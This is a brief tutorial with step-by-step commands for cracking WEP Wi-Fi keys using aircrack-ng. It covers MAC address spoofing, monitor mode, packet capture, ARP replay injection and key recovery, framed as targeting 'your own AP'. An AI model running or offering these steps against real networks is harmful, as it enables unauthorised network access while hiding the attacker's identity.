How to crack WEP with aircrack-ng (Backtrack)

Anybody should be able to do this. If you struggle with something, post a comment and I' ll get back to you.

Requirements
- Backtrack (or Linux with aircrack-ng installed)
- Virtual machine (e.g. Vmware or Virtualbox)
- USB Wifi adapter (you will need a wifi adapter which you can put in promiscuous mode. It wont work with your built-in notebook wifi card etc.) Buy this one: Alfa AWUS036H . It is cheap, reliable and works out of the box.

Commands

1. airmon-ng stop wlan0
2. ifconfig wlan0 down
3. macchanger -m 00:11:22:33:44:55 wlan0
4. ifconfig wlan0 up
5. airmon-ng start wlan0 
6. ifconfig mon0 down
7. macchanger -r (random mac) mon0
8. ifconfig mon0 up
9. airodump-ng mon0 (scan for APs)
10. Wait for a minute
11. CTRL + C (stop scanning)
12. Pick your own AP with WEP encryption
13. airodump-ng -c (channel) -w (filename) —bssid (xx:xx:xx:xx:xx:xx) mon0
• -w file, in which the data will be saved.
14. —You need around 10k of data to successfully crack WEP—
15. Open another console
16. aireplay-ng -1 0 -a (BSSID) -e (ESSID) mon0
17. Wait for ”Association succcessful”
18. aireplay-ng -3 -b (BSSID) -e (ESSID) mon0 (starts the injection)
• data in the other console should now  increase significantly
19. open another console
20. aircrack-ng (filename.cap) 
•  path to the file from step 13. e.g. ~/Desktop/test.cap
21. Wait for —Key Found—
22. Enter Key without ‘:’.

This can be done in approx. 10 minutes. Have fun!